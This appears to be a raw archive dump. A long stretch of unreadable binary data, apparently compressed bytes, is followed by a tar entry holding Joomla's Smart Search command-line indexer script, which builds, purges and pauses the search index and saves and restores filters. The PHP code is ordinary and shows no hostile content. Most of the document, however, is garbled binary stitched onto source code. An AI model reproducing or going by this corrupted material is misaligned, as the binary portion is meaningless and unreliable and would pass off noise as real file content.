̜&0@`84p]^|&JȂqVwrA%:ʃH>hVⴴS`PCKdΘtn9hTL cCxteu]Y}:uzH9?R>}5;}ugԸ/T	,AFƚs0lu{p&p`rSO팘+%6jgn4GlV-o?Ѿ:yNr~[A^6 wYL7loUl)go^0pT8g:`PjF}W$MJN/:zb)t}G `.,ٚ=+N'쮴QI-+/?1`1fVb*;JAZG+Yy`)am%j_%Q?QeQz//NB5]}N.mυ*r0"G\PJWJiԇA'[0a$ܰ([Eb"X00%v,khkw{NRujRQBrֈgqGAͽ9n~l%!a dG:
ot8WeZoLQ}d@0I9yq}7ӌ!l|h賍j!S3bd'	4&xrtONKra;$[[ҭ6=X,G8AK!ƙ҄͡)VF)VZUۈ0Tk4,h<XLv5bC:Pi*5YKټ:^ְ9e4INR'0aθ,hp76)@1zKݪ+xsVEP䬝3FhJalLr2+ѽ__﯅k:#]+$EnK:7iFEy-N '
,g,eDa0K:û2w8>MВ&7Y:.DJ~%^hU2azq~!N~8	@HHazS7#>/9X;&(h(ZCƈS"blFwjVOhɹ-?Xi`7+t7+evסxhE34{MCZ)
m:8{zrM͆(!'[F\Otؙ{yw!quz#n/uvIg:;ET|$["hh"J]|b!E$ycrsa9r0l?&ej SW	F+pǰa~}kAt9PLzi2|/ڱQʀpDH١}
R+` ׂ4Dv[<0>U rv2Fdʐ8U{{^\0 ^U#W 2Ƨ	z/5!'a2>&
pNJノ7[x6AYF`` 9RDm}N`LW褫T)lOr1zJkI=¯\'Z.ӭv.*q7(V2i-pxFhMá`+=>ٔju]xe7A6~DUŀt\Fyi3O[c!2~~pA)갵}<O)jϖͱ'ᖪ፬6h[nN"%14Ge{Uc!{jmHhll:*kV-9Ӯhw'AdU>lSMppyXr0+XvǧT	7D3?玬ƥ\UXO4T|7DY'
ab`Q?8kŀRₙ+BӮ"64A,Ϲ.oӋe0SY|0-l7젱g{5/[:==ŘU6=	#<XNKey\<F鐘ULQ'٠\Oq6&`&>d
6SyQmE$.nٕ*e9Wh*>I>=O!Exa%CpX'闶U.ڄ#Id5YFyxߎ{'6,6ί>yVVU=L\SSڰ\vUnٜ4:X>G@ԥ=K:~z:aIPAL~A,D4Τw/nwO8T\SJwZvՔ};,
QeQ\Q;AV,)RɎ*,N>wgnw|E*rM?Jw)b*N`Cy?n66_.rv$۩TBN)[hٯϞ4XS{npyWӌnH'7c;-bnQ88ه#t-mReidۇ.fF;Sf8n}D|XJ%F
m֙PgM<դ8>G0H80Et͡[ؘ~N
~Ö/',`Ir`YPqB  @`"籟D^ E=ą"k2ڲ]Ƒ~7vGz~ |Xy{T2:Jf/`99֪P[C6Rl.ZkT[Փ*8kI:#-<-7u|hW-rs``[Ŋ|w8ς.=ޓ򬭡Gc/-H*}V?ำێY({wF]IDr	Zs='zY뙓U߸XO:(G\8D90><d'XyX
!X8*d8	l4^/)"IKG@E:F+7_:_^6Qjk!DIhXn0FW8Ay%Ug.A4NS)~|,|i,vݵ;.Aw2D_5Rض qK Go1 Snǉ`~sh<%f6c^Ac+K 4=2/tŞOaE@K8 $=P~cIl6ą}+XEsw92(??2=ǿO/Aoz_Ԁ\2-D́1Xw=q#">}F7"ۙm68֯v+f%ywq!UdeUyH²0hrt)dzD#WѓC'Dk\JpS8iH4aPs5}JD*h*)3{k"M&Cb`%	ْc19$hQ6u:	dۈ&p[ws.	HCރ
!B&/r~II<,Ɩ;4[0)t@tq`ݶX"#`f<eN2sr#IąB̿\7`3zw*i>`CYcfFM i1e:'*G׊[	rDt͍D0䠽מc	{cejLwcF9+Prpl8{7FN=6.XZpS[NOǀ('ĬG1D f1)Xi븃ajIFj䐇 Wr8鞅G\D<l`\v;qV&Du+HAx) 6H7e
QzpstdX2{8~ǩ\	 ͻDť5*ݒv[Dw:ACE=0Ve1VAhO/r^o9@1~h?z<I3
ˏGBWCYb$[ro.ɌxaUT}Nb:}`(uXƾ9]c$w@W#_u-KW&$@ۨ,F?1D.o}Z?%CEӚ}ZbmZ	6kݙεl' O#q1׎c5ר[X-;SRh-v?X~x!C\Ͼ gax3%t{~M"koFա=C]ih*yw:\M?B#L)jF~z_}a<ǂ&yuqnJiC_wzQKI l+U#12̱;R k)jD0H?MՍ4b	%kN6Pb$YkfL4~A7`YT-#$kpnPϝ.qvH^H'rznҠ7y8ށ+#CBGҼl
Lnϐ(؆eE9nS9J.| zD&^P)wL5V? cR{s:'c:IO a{(;#C5yۛokp)cpzC3d/k<2Qd4`Qsb4#&@A-yFF=٧T,=@pmƈmfpe%}wmE!Tjpp  by:뜚}aЬ`C'pLH*5L '!R(>ےi7QҚ**-	xD%|rZ.WLUVś+R.{-]ϥNF.k@GkV#Ui:	]W *?MbY킃ɯ$So_\_ͷ8@BLb_^rzDNaIBS@`{3rŅ_Hs
8}ϘskMÙe8@l orYF9kYj!%yl"rgI/as1R?n|=悸2?lx s7丗^i-kTݕF[g}B<W~_3d#up=6XjP8VcPՎzzޯf% aT&Da"!VkpM7Ctv	\5Ca0䜠5}u?y(Fӗq5I_E3r\(:W,e3nGn+}N·R<vq>ÌK%$/loFj׃  4}!$,;3JpREP$2`/23~~HTkAn탯X.!bɷEno!`QML_@~"Cq]ӻ~ک:-P(nda!%u{.!jϚe>71-g h۹B\ju*g󝜚-ʥ`j4+r8Z-
?\'<
<?V(I힚JM=.E>gxz1WzOr)al1M<F)8+L*j֩ݰB\jZrjrtV3V@n<MSZF~+U=b,UOL2hםXuE>oRƼGRʦ:^1U΄Rj.ڥRGE*Ո]%*6{n!.jh"~1j#n<	카|Zmy*+)volgxcjEb\*{'2(pl#Sx9Ki]ظ!?W/b^nusrOYYY2)ms`<EȦ:l@<lmcC1{ӵxR{& "'̲W5JrA7="
AhA[W=GOhNٓz^5dԂݠtJ׃TVRjlx8˶Z)ټ9Rϳ,JꞽϠai2钒NV٧ғ}:=ܧ3v\V>Ig2fa\v Q:K+WZTxi`eC,]*ҙz#K[=' y}bzdtQxۖbSq12	lE.l7^
`+v+Ζ;7FAv.ǟu}ԹZwQ}ׂrS6긛rljU+5V3t	Jjl'MgɮRlzs~NeZ_wt3?y|źx|sCe'îZVEnxnwZNb9S{Vy	Z7!6f"j洇i=3uSʹ<%WXy1 eW|I|+fO}ՒppSbٜHbG=q}Hw*ւܩ#ЀL4nwy9oS2'=
3W.ĿF*&~uhxhn6)ORz/VJnjoo*{e^{وtKMXRf)MSNi\,~9:sS,JB:tYR,z4oE5*/}vgAqOdXcw	>X->es}%Umc>\rH}_)=}{]mpd<l$Js<-&u/.
ѮUm{\pϢ((͒XGʺŭb0_ظIol5I
qb۫ZJ@K.}-7%VO+)#!3&l>s͏f3Kk~2o[m~>*z3
nrSiA*<Wg`pӇqwXu/*Ţ%kem<ʕb,=|?Y`-yPWn!J+Mٮ&9ub9Mb@Yi蠱ՙ?HZOĲ[MAO>wj̓S^NZm<ֺWI`mQ/TOgkSUr~Uvl-MI\BJjJ k{zhb)/V|4u|>_?j
("<H_Vet#2̱XXH{gKLˑ27ZZvIL#;	7д?uJ<ڕGVDO>䯰E61cC
gqmv!)<xJ7vA>2zKxVyyWՕ}(Vg"h5}򧆓ȼPބI/sV<jr}ߊ6zB*Mٳ"ZEh-]D1O9Qmn7\Uuبz^G76<w_ݬŖ['EZI2=>A*
l\ePDxz^6cxy6۶bdŬ}̶~`ZcڜRz`ϳ"^p݊~ٳ}].V+Ng}ٗ;yY{u>;AwR)N[+ZbY-^)ʝTJA/{O&*.yӊN_q'V+эɬ#~=xV`(莖zyIȠ3JT,%έZ0}$D=svKvxҪ@b/GFRezhqYh{z0k&Zl]cSlb[uRN%Fڃ'VբчJ
(TvSkX}qbR;5kFs*Qz<"8ЙP4Yt4x>R)ܽ?"3_BkZ+!I7(ky1\Wڻ'v˭YpۇwCHX$TekPP=h5ϞYquv]}Zi[yG*EՊ1Ep1i+ 쇢_ǆr oـW[zTQ>>w(WW@-Vl;JZ}(fCQX{B:tXnq<q?h¤[20$mqBWSmIB-TNDG;O;٨U~]N41{ӆH?DWR|3IԳ{;1g6ϣpZˉxiċqN#Fvޚ\*2ݳ}y^WδF*˦j$|aHl]m!MҠ9ҨԦ8BTq÷TûSTF6?J<=B18\~Z
Sp=K>/>:Иs|ļꉞ9,Sx!j<;Q<&u}n\l+Zr{͊tS K]#&*IDɣKu[5U,=淞9gw_[oZ&כ*^3Z<󑝐lQ0)hc-dA"۩]/(_Uzv!Ktkl&+gx~{WFYtU=e	ެ[OU7AsknSռ+t}fiOuvzD*e%+o+ep@j,ƨԫܜvbh?='8|-eO)dJZY5vnUu6Z\R)^sM!2ⱚ$I7]=><y⡡f{Lw`։o͚<q%D? AiO;ȟv? Aici#ϹDKgzj>>zZ(HOL݆TqfyҨfn;L!ᾕk,/t{6?Iv	"qܕ&]Ú4c7D"vxvHÚzFE}U<ΑݍJ?RwǳSQ)?:ϖʠFIUrrYzeݛR`naQ+rE[HD#ʵ ֩MPyEBxc\Iw\\(UOWĐgR'f>Nz@LdgZ}$
s~Tk9?\)eS豣F\?Ҥ:x?f.+H9ˑ2\3tIP|7ɮxI|+yHT*(:s_KHSQ6iحbx-7u!Hextx<idzͫ:6/<zb1[nr,䡣h-IɸTT{cy<nl:X)4R;)Ƀ]) {jP}8}ćr!wڧ'$\]{\[8eiryܴHY8g|DhY?&v|(q4REt/w{!O5AWmT,.</rQ6z֊v}t5]̋єo DӜӕx:]%[vi6QnzۙvOb^Sh#SM0֏<cJWf}CebWF]Et{4mDy>yoȮ됒t"	FK*6=i.>n/ֳ;Ž
oQ"ćlи8XxXU/q;uLUVR+Qkë)v0Q;O%7)<xTxfqKv`kza	=qݴ04ƞBc^p0	B]Mh{E`Xpr/1US&&&S6JH+7ICt"$OGIM<,Ze3Yq-Er;\4j*
{)7%?7Z`?wz:+$^3GJP v@kx|L'VW{[a.kE|TSʴ\qgЕv"	i	7Fު5ntLod$fbtZGS4k.&OgbFI^ZHŇi$)b1\U+얺H9	ԋ\S%h֍.e2}ОRۅ^!V^c!Arɳ.w{.Vu%-7-!O+i^˩Ҟjb}!O1_K5۝jt$aCcԁMs[|[7Gw=l[M~KbX цqnGi7"?Ҏ0:Tn$mB깂'~~©'r0~[hs\ 練9N1o9[~b"HW	Xu)*+u/&@4v V:;|rtB>[-*JpI>pZ.8B	;N=	 Eu qMJCdSIkz
:W$Dq$dk	
"Bt|TxZN#1t{p Y(,R ,#7o9Jy$
U&?	pBט5ÂPO $
 ^/^e	zØ?׉РSlYVfl;sdNla|Gbp0&N jBZϢ5 rz(3M,rz?jE*EZ WW?N]fGw#׶?AnO6g
.=1a Ł>"NIrUdQm9wD>όxHWz	f ?#pXlta%et#j9:QN~0*=?>!\d;xATs A0>ce~;-,ϣ?rǡNx*ϣEP>ATRWuh8Ґ4v6b^I]7>Qҷ:$t,}'-euH#I,ڒ@3uPM+DUn	/mӺ"`KON_@_Fn)v2v:w'AmĬc厡0j]idC5k&ˡ68ǡN
CYhAlg2HǱ|Է+Щbg}zqۣ0vriH;J;>in0#A 8\L+{1H{KC1co|eTNqZ_lp^P@0:,h&N5Nq0MJxi-m9F0b9$Vڃ5z=4@'؊Zdߒ"ߟghtU9GvYРQPƅ#1X	ԣ~}qRyA5v-B mp+WۢECܒX'֝|{U:45ElRۜ,)wG X/y؄EH3HTW1)_wWHh;퇭(\$ݒh%wH.lui+fc|#B$t'_ΆATJӯT7Ґ_Pf>|k׈x5WK!4d;Tu
Q74D@}3܇ϑH؄KM&Aĝ@ ,I3D^HI*Ce4t=:ܸ7!>d;;yuXؔdG1N"p#8?#mBW@ ?
/kC5c ;Y	}ϊjDa8Mcك18.:i]ZP"1D<	B r $A)4XFxp!7,I2vG
8ʇ8	!N=s||®	&@l0Qp\:@/WWx._(580h#qK3Xv.:ņihx|
G\:BA"_Qȡ};Ica()yH&WA|*:ŤtŅ̗1d3|0G֭K$:BuN]G;d̗7iuԿc,,!Pu:;Z?lw2DIDg$:7>H˞7>r+{,*}Mu`xG,Go?y?B@LlxqWmE+e˼T7}"tG>o&x.QЁ_97SY:noBƟn~<[`lJSi1 ƀF%QuQ5pI	$57cczcQy:śT&XGZ|~pHϝO4{n~ɎMb~gZtzL|FMݾ-^:uD8]рˣvGx,´hJ[8DŢW5A"^O4P 
ߒaϫ(#]\-֋*afjK\VfJyEgub4-YH.%
ªa4PSaY*ê1#]eR^}[dl&|ֶPǉCLo)=lxE?KQ"Ngxm6pIL$(H 8A*ԋڈD$<FʹBMя3ϲ#ˀ«z^<;jPlou#Avdm8"JtK>dbtYkκxu	kP>Yyg**,HR]-Pᵏ^TXx/qWCB Rk3QwY,&CQ<4E|7DQLn΢oBC0dh?v~/Jo,9u>k_jouNKϰrbܶ GC?߮S"Q,,ɢZ2 07A%n-p[TS)loz}o3\f}^Kݠ/k82X쨥:vI|qޟ@y6ie>Rq;ĿsQ<h
doxKRhHmF;b%9j5Q[T r-1ywLu}~0c:Au85xn-]d)Wzp:
#h!Gzm4d+QAdX?j9XÝ |vH|:뫲[F	ː|e$ʛTe?
~4⿵sc^8t{`6W<sw%Ȓ7,}'i'hzN~wB>!B]6po.;>eUg[t8"{T|WI[Z5[j~(C7dvF}%&"<k~+$Jc'G<6EYGP~'qECg -̳nŮQXhM|b?SSw18kHPaG<byǘ,}(muo\8t: '\N4N
'!K X Zx}Ňu{ipG.\"A1*( n:W<erϕ.SX]TMt#f\	VKQ}{4 FJ~}g=?7aHf-Ɯ8OMD=}!dl|=8+UX(}g֧j" $oJy#bktK.:.tJe̯	# ]t$:X` &"'
i K{#tQRxf'uE6#!
3BL%qY<|V,|!' h@ZҮDWu!a0`=0<`h(=_OVkxUJ_R8)9(25q,	v56x
o747>|z@yBfp8bOd^"a&qM8mރӋ0᳭WexIJWyx֧OUx'4W
H\\=>Fe~v]Co L3RLDɘxnCCO	d	u`X seٹPWcK:y$sby[ 2;7z"Y~A/`J+DڧC s]rD3ect13a2T˦zE>Qއjn bY#K DR<>[izRn*fgSgM LAe[dTs<T{=27ܧ3TI'4v*W琧;a66$/8j9:-+Ƙqz mg._#74YDZTY\ޡ~˛X!^RpA%ueǂ6Y}yfy)nYpT+| Zoj=0ΧoYoz4'0[P޾B:٠`jz|X;r29$\yoEaI#!_s&֡ UV9 MLIn0kYTO%^v#2nI	khoՍ2XDi Y%ygqNaHSq^VG@Ys\w{.n)xQm(q/uB?z#sLZ5C})2=,G .ǵalԁH&Xn=|Xǥ9MN0.H#t&cZ7v!?OLKbj@0DcuPpˠ9; G~4@^ogfC5&#SoF9eB7D$=3w |L@wR̀CL޺l=)4!OPChufL@` ! 0DH#A_E3(_7QZ~.IA#)'7B`ud"n厢B.6l;f&*   %j5T1藇:}R2:F_0n>cTGi@@ɵdJ	ۥC"؊jz	lCv.Jꍜt $n57Ty]=F$@@	$Ll6&䓕1j\-?]_E?FXUI| ?7xHde֗-A=B=N
Mw7zҏ,MCyF*	"iYµ
 B3ǵc"v(]_}ha̮JX)pE6讂p$>1%ۭu$.=\~bH&pGa8iSrU.~wl<k֜{aMKŷ[ G2D_$F[h4je<8fU#lPnT91t	[estxmR{w~> \ֱШ <ĝbA5`#irYmUb*}F\: n]qC&"bt̳L%n-9MV|"35Frkbš1xls͇B"tH3h>}:Ѽt0q-7erXp,`Y8bp,r)}x[KqQZ)?@2/etiUr8tG譑s՗q*hwҶ_o>|<J#CmyE?n_NB̊ L_ 9ӫ6bv,(WH$[I
 %quK³li)iV2Ma0Q1"_b-4T~]_	0΀+vد0jM^@"΃ӄaO4V"0
z#p|n#ĲJ*^EAѡC k{$.oQ)Uo:Pnn
-Ll@'/<|ׅcrO	8yR`nvpy3>9?n\Ph1*Xkc~q^D"N7?->A?$Yw,Qm87h'BCJwZG|AeH!]ϩih?ѫj4<OeL$x#k	lp qʎ)NHc:NlipWsY*>"f|$֞& /9bRxd`R鑚NT+VΏnMLQv:e
?*2uų2 T7㌹h^5(Pzt'$\p~qVb43yoݑFB3Gn8T1xh@&C,ha^rRgRYx1Md
@K([M0Y?G[RW}$XQ-6SEBF.4c8p/s}o:@S8NT8[ܺww#AĪ_Iӡuiۄ'ƈzẚʍK/t32:"eU|̸A ؇&pl!>'nT3](PGi%=>:>i;O_e+~dE	*I!OYyX`]F2[79w[/Vy%|>H$}z-e^	L,sUۘ QfeaOtJ%+}o74t}C=?<͘>V.#HYQp<2u//qNJf<O:.ٶ=Ta$AJMaoM<u9ҷ
SE·ÄXD{|Ίn71ITuA"'nRGr]?l;zj,3ti&4s	SyPmo}E#`VQu0oj|k<9hCB'LgL6mL`QmwX۔PAAgk:bQvիL Ct%Ӳwr	#CcL
"@!ck~/ K3y">r_0n- 6rX
BMgLȎ,X&,(/I9{®Ed[q3GQΤF"7eˈ/< HcFR @_`&ʲb&XS?*i%03~@:ZHԅH12ah=LOF6#{plc$@)"`$inrDh[,,Iqtn[NY$)kpK/뀥z ~qC>SIuG4SYoyGe'nA9Mя?5SsqX>3]< 75{o[10?	g3v.@4^#_9A7d;
)h1kt  xUyoS8B"}OrP/}KPg{{jf-6ÌeСJ)S=b~پ	"m}<|1}1s2olϴtҿqr!ѡu#kF w(I?6CWɳ1TjR/d̈́Bvd;\iگ
@O.8D%3dp~~}'pvvy(@K#a4ziJODt3Hcs@(KA%:v<c;XSƮ7.pcΝ4s'Klg\
\}tFP?]Ɣ-")_]ͩ	um$eeh."rAQ ,=޶ Ma=RC{+=3#o.'!f\
C4V?0e$]ra:\t΍WPpL97(Hm~)$&@swbfغS0` ; LJI2H@b̑!1tֹ$9w\؁Yn]88=4'F߲!m3q^;URu~Y젾1R	^H+oӿ0v6Y!S gI6.h1qH%0ǧ!VCJt3%f@H`#cY"tt?M?E -eěX!W i#/
T	;\àA2wTD)$2L+|Flxg!]_ B=c(ھ0:tBam8[V$ID%,Q5#hL|eYINhm;=F@Ӥpτԏ'DTIuTU;>Hoet#V66BnO#j))Ԅ"?4d9ukTmq>V^(N)?|H3c<~ GWVmH3n1夒hS<˨&{؂W6~X.yMر?jb`w߭|`l8pۏCMBG|]KIM?12Nxw}tű.XA͒]N,"l28n['QevPH;RP]bu^Et~,.ʼb6!GӮ1?A-ak?L}{=;:R'p>KUuwun%خHi#a_z5owD
^<%{޷=8JG'20	+SzjyZ<p}0ĒCST3莺p(?Wu^T 6 PK       ! 8T. n   n    cli.tarnu [        finder_indexer.php                                                                                  0000644                 00000032452 15242012662 0010250 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Smart Search CLI.
 *
 * This is a command-line script to help with management of Smart Search.
 *
 * Called with no arguments: php finder_indexer.php
 *                           Performs an incremental update of the index using dynamic pausing.
 *
 * IMPORTANT NOTE:  since Joomla version 3.9.12 the default behavior of this script has changed.
 *                  If called with no arguments, the `--pause` argument is silently applied, in order to avoid the possibility of
 *                  stressing the server too much and making a site (or multiple sites, if on a shared environment) unresponsive.
 *                  If a pause is unwanted, just apply `--pause=0` to the command
 *
 * Called with --purge       php finder_indexer.php --purge
 *                           Purges and rebuilds the index (search filters are preserved).
 *
 * Called with --pause           `php finder_indexer.php --pause`
 *          or --pause=x         or `php finder_indexer.php --pause=x` where x = seconds.
 *          or --pause=division  or `php finder_indexer.php --pause=division` The default divisor is 5.
 *                               If another divisor is required, it can be set with --divisor=y, where
 *                               y is the integer divisor
 *
 *                               This will pause for x seconds between batches,
 *                               in order to give the server some time to catch up
 *                               if --pause is called without an assignment, it defaults to dynamic pausing
 *                               using the division method with a divisor of 5
 *                               (eg. 1 second pause for every 5 seconds of batch processing time)
 *
 * Called with --minproctime=x   Will set the minimum processing time of batches for a pause to occur. Defaults to 1
 *
 */

// We are a valid entry point.
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR . '/components/com_finder');

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Import the configuration.
require_once JPATH_CONFIGURATION . '/configuration.php';

// System configuration.
$config = new JConfig;
define('JDEBUG', $config->debug);

// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Load Library language
$lang = JFactory::getLanguage();

// Try the finder_cli file in the current language (without allowing the loading of the file in the default language)
$lang->load('finder_cli', JPATH_SITE, null, false, false)
// Fallback to the finder_cli file in the default language
|| $lang->load('finder_cli', JPATH_SITE, null, true);

/**
 * A command line cron job to run the Smart Search indexer.
 *
 * @since  2.5
 */
class FinderCli extends JApplicationCli
{
	/**
	 * Start time for the index process
	 *
	 * @var    string
	 * @since  2.5
	 */
	private $time;

	/**
	 * Start time for each batch
	 *
	 * @var    string
	 * @since  2.5
	 */
	private $qtime;

	/**
	 * Static filters information.
	 *
	 * @var    array
	 * @since  3.3
	 */
	private $filters = array();

	/**
	 * Pausing type or defined pause time in seconds.
	 * One pausing type is implemented: 'division' for dynamic calculation of pauses
	 *
	 * Defaults to 'division'
	 *
	 * @var    string|integer
	 * @since  3.9.12
	 */
	private $pause = 'division';

	/**
	 * The divisor of the division: batch-processing time / divisor.
	 * This is used together with --pause=division in order to pause dynamically
	 * in relation to the processing time
	 * Defaults to 5
	 *
	 * @var    integer
	 * @since  3.9.12
	 */
	private $divisor = 5;

	/**
	 * Minimum processing time in seconds, in order to apply a pause
	 * Defaults to 1
	 *
	 * @var    integer
	 * @since  3.9.12
	 */
	private $minimumBatchProcessingTime = 1;

	/**
	 * Entry point for Smart Search CLI script
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function doExecute()
	{
		// Print a blank line.
		$this->out(JText::_('FINDER_CLI'));
		$this->out('============================');

		// Initialize the time value.
		$this->time = microtime(true);

		// Remove the script time limit.
		@set_time_limit(0);

		// Fool the system into thinking we are running as JSite with Smart Search as the active component.
		$_SERVER['HTTP_HOST'] = 'domain.com';
		JFactory::getApplication('site');

		$this->minimumBatchProcessingTime = $this->input->getInt('minproctime', 1);

		// Pause between batches to let the server catch a breath. The default, if not set by the user, is set in the class property `pause`
		$pauseArg = $this->input->get('pause', $this->pause, 'raw');

		if ($pauseArg === 'division')
		{
			$this->divisor = $this->input->getInt('divisor', $this->divisor);
		}
		else
		{
			$this->pause = (int) $pauseArg;
		}

		// Purge before indexing if --purge on the command line.
		if ($this->input->getString('purge', false))
		{
			// Taxonomy ids will change following a purge/index, so save filter information first.
			$this->getFilters();

			// Purge the index.
			$this->purge();

			// Run the indexer.
			$this->index();

			// Restore the filters again.
			$this->putFilters();
		}
		else
		{
			// Run the indexer.
			$this->index();
		}

		// Total reporting.
		$this->out(JText::sprintf('FINDER_CLI_PROCESS_COMPLETE', round(microtime(true) - $this->time, 3)), true);
		$this->out(JText::sprintf('FINDER_CLI_PEAK_MEMORY_USAGE', number_format(memory_get_peak_usage(true))));

		// Print a blank line at the end.
		$this->out();
	}

	/**
	 * Run the indexer.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	private function index()
	{
		JLoader::register('FinderIndexer', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/indexer.php');

		// Disable caching.
		$config = JFactory::getConfig();
		$config->set('caching', 0);
		$config->set('cache_handler', 'file');

		// Reset the indexer state.
		FinderIndexer::resetState();

		// Import the plugins.
		JPluginHelper::importPlugin('system');
		JPluginHelper::importPlugin('finder');

		// Starting Indexer.
		$this->out(JText::_('FINDER_CLI_STARTING_INDEXER'), true);

		// Trigger the onStartIndex event.
		JEventDispatcher::getInstance()->trigger('onStartIndex');

		// Remove the script time limit.
		@set_time_limit(0);

		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Setting up plugins.
		$this->out(JText::_('FINDER_CLI_SETTING_UP_PLUGINS'), true);

		// Trigger the onBeforeIndex event.
		JEventDispatcher::getInstance()->trigger('onBeforeIndex');

		// Startup reporting.
		$this->out(JText::sprintf('FINDER_CLI_SETUP_ITEMS', $state->totalItems, round(microtime(true) - $this->time, 3)), true);

		// Get the number of batches.
		$t = (int) $state->totalItems;
		$c = (int) ceil($t / $state->batchSize);
		$c = $c === 0 ? 1 : $c;

		try
		{
			// Process the batches.
			for ($i = 0; $i < $c; $i++)
			{
				// Set the batch start time.
				$this->qtime = microtime(true);

				// Reset the batch offset.
				$state->batchOffset = 0;

				// Trigger the onBuildIndex event.
				JEventDispatcher::getInstance()->trigger('onBuildIndex');

				// Batch reporting.
				$this->out(JText::sprintf('FINDER_CLI_BATCH_COMPLETE', $i + 1, $processingTime = round(microtime(true) - $this->qtime, 3)), true);

				if ($this->pause !== 0)
				{
					// Pausing Section
					$skip  = !($processingTime >= $this->minimumBatchProcessingTime);
					$pause = 0;

					if ($this->pause === 'division' && $this->divisor > 0)
					{
						if (!$skip)
						{
							$pause = round($processingTime / $this->divisor);
						}
						else
						{
							$pause = 1;
						}
					}
					elseif ($this->pause > 0)
					{
						$pause = $this->pause;
					}

					if ($pause > 0 && !$skip)
					{
						$this->out(JText::sprintf('FINDER_CLI_BATCH_PAUSING', $pause), true);
						sleep($pause);
						$this->out(JText::_('FINDER_CLI_BATCH_CONTINUING'));
					}

					if ($skip)
					{
						$this->out(JText::sprintf('FINDER_CLI_SKIPPING_PAUSE_LOW_BATCH_PROCESSING_TIME', $processingTime, $this->minimumBatchProcessingTime), true);
					}
					// End of Pausing Section
				}
			}
		}
		catch (Exception $e)
		{
			// Display the error
			$this->out($e->getMessage(), true);

			// Reset the indexer state.
			FinderIndexer::resetState();

			// Close the app
			$this->close($e->getCode());
		}

		// Reset the indexer state.
		FinderIndexer::resetState();
	}

	/**
	 * Purge the index.
	 *
	 * @return  void
	 *
	 * @since   3.3
	 */
	private function purge()
	{
		$this->out(JText::_('FINDER_CLI_INDEX_PURGE'));

		// Load the model.
		JModelLegacy::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/models', 'FinderModel');
		$model = JModelLegacy::getInstance('Index', 'FinderModel');

		// Attempt to purge the index.
		$return = $model->purge();

		// If unsuccessful then abort.
		if (!$return)
		{
			$message = JText::_('FINDER_CLI_INDEX_PURGE_FAILED', $model->getError());
			$this->out($message);
			exit();
		}

		$this->out(JText::_('FINDER_CLI_INDEX_PURGE_SUCCESS'));
	}

	/**
	 * Restore static filters.
	 *
	 * Using the saved filter information, update the filter records
	 * with the new taxonomy ids.
	 *
	 * @return  void
	 *
	 * @since   3.3
	 */
	private function putFilters()
	{
		$this->out(JText::_('FINDER_CLI_RESTORE_FILTERS'));

		$db = JFactory::getDbo();

		// Use the temporary filter information to update the filter taxonomy ids.
		foreach ($this->filters as $filter_id => $filter)
		{
			$tids = array();

			foreach ($filter as $element)
			{
				// Look for the old taxonomy in the new taxonomy table.
				$query = $db->getQuery(true);
				$query
					->select('t.id')
					->from($db->qn('#__finder_taxonomy') . ' AS t')
					->leftJoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id')
					->where($db->qn('t.title') . ' = ' . $db->q($element['title']))
					->where($db->qn('p.title') . ' = ' . $db->q($element['parent']));
				$taxonomy = $db->setQuery($query)->loadResult();

				// If we found it then add it to the list.
				if ($taxonomy)
				{
					$tids[] = $taxonomy;
				}
				else
				{
					$this->out(JText::sprintf('FINDER_CLI_FILTER_RESTORE_WARNING', $element['parent'], $element['title'], $element['filter']));
				}
			}

			// Construct a comma-separated string from the taxonomy ids.
			$taxonomyIds = empty($tids) ? '' : implode(',', $tids);

			// Update the filter with the new taxonomy ids.
			$query = $db->getQuery(true);
			$query
				->update($db->qn('#__finder_filters'))
				->set($db->qn('data') . ' = ' . $db->q($taxonomyIds))
				->where($db->qn('filter_id') . ' = ' . (int) $filter_id);
			$db->setQuery($query)->execute();
		}

		$this->out(JText::sprintf('FINDER_CLI_RESTORE_FILTER_COMPLETED', count($this->filters)));
	}

	/**
	 * Save static filters.
	 *
	 * Since a purge/index cycle will cause all the taxonomy ids to change,
	 * the static filters need to be updated with the new taxonomy ids.
	 * The static filter information is saved prior to the purge/index
	 * so that it can later be used to update the filters with new ids.
	 *
	 * @return  void
	 *
	 * @since   3.3
	 */
	private function getFilters()
	{
		$this->out(JText::_('FINDER_CLI_SAVE_FILTERS'));

		// Get the taxonomy ids used by the filters.
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query
			->select('filter_id, title, data')
			->from($db->qn('#__finder_filters'));
		$filters = $db->setQuery($query)->loadObjectList();

		// Get the name of each taxonomy and the name of its parent.
		foreach ($filters as $filter)
		{
			// Skip empty filters.
			if ($filter->data === '')
			{
				continue;
			}

			// Get taxonomy records.
			$query = $db->getQuery(true);
			$query
				->select('t.title, p.title AS parent')
				->from($db->qn('#__finder_taxonomy') . ' AS t')
				->leftJoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id')
				->where($db->qn('t.id') . ' IN (' . $filter->data . ')');
			$taxonomies = $db->setQuery($query)->loadObjectList();

			// Construct a temporary data structure to hold the filter information.
			foreach ($taxonomies as $taxonomy)
			{
				$this->filters[$filter->filter_id][] = array(
					'filter' => $filter->title,
					'title'  => $taxonomy->title,
					'parent' => $taxonomy->parent,
				);
			}
		}

		$this->out(JText::sprintf('FINDER_CLI_SAVE_FILTER_COMPLETED', count($filters)));
	}
}

// Instantiate the application object, passing the class name to JCli::getInstance
// and use chaining to execute the application.
JApplicationCli::getInstance('FinderCli')->execute();
